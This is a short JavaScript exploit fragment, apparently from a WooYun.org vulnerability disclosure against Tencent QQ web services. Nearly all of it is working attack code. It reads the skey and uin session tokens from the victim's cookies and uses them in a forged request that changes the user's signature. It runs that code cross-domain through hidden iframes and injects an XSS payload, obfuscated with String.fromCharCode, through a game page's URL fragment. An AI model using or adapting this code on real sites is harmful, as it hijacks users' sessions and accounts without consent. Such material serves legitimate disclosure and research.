WooYun.org

function change_sign(){
  
    var skey=document.cookie.match(/skey=(@\w+)/)[1],
         uin=parseInt(document.cookie.match(/uin=o(\d+)/)[1],10);
     new Image().src='http://data.soso.com/bingo/72/ChangeLn.php?uin='+uin+'&skey='+skey+'&ln=这里是签名内容';
  }
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                  iframe.style.display = 'none';
		iframe.onload = function(){
          with(this.contentWindow){
            eval('!'+change_sign+'()');
          }
		};
		iframe.src = 'http://face.qq.com/ajax.proxy.html?domain=com';
		document.body.appendChild(iframe);
	}else{
		var iframe = document.createElement('iframe');
                iframe.style.display = 'none';
		iframe.src = 'http://game.wang.qq.com/game.html#?areaId="></object><script/defer>eval(String.fromCharCode(115,107,101,121,61,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,46,109,97,116,99,104,40,47,115,107,101,121,61,40,64,92,119,43,41,47,41,91,49,93,44,117,105,110,61,112,97,114,115,101,73,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,46,109,97,116,99,104,40,47,117,105,110,61,111,40,92,100,43,41,47,41,91,49,93,44,49,48,41,59,110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,100,97,116,97,46,115,111,115,111,46,99,111,109,47,98,105,110,103,111,47,55,50,47,67,104,97,110,103,101,76,110,46,112,104,112,63,117,105,110,61,39,43,117,105,110,43,39,38,115,107,101,121,61,39,43,115,107,101,121,43,39,38,108,110,61,37,69,55,37,56,56,37,66,49,37,69,55,37,57,70,37,65,53,37,69,52,37,66,57,37,56,69,37,69,70,37,66,67,37,56,67,37,69,55,37,56,56,37,66,49,80,75,65,86,37,69,70,37,66,67,37,56,49,39,59))<\/script>';
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}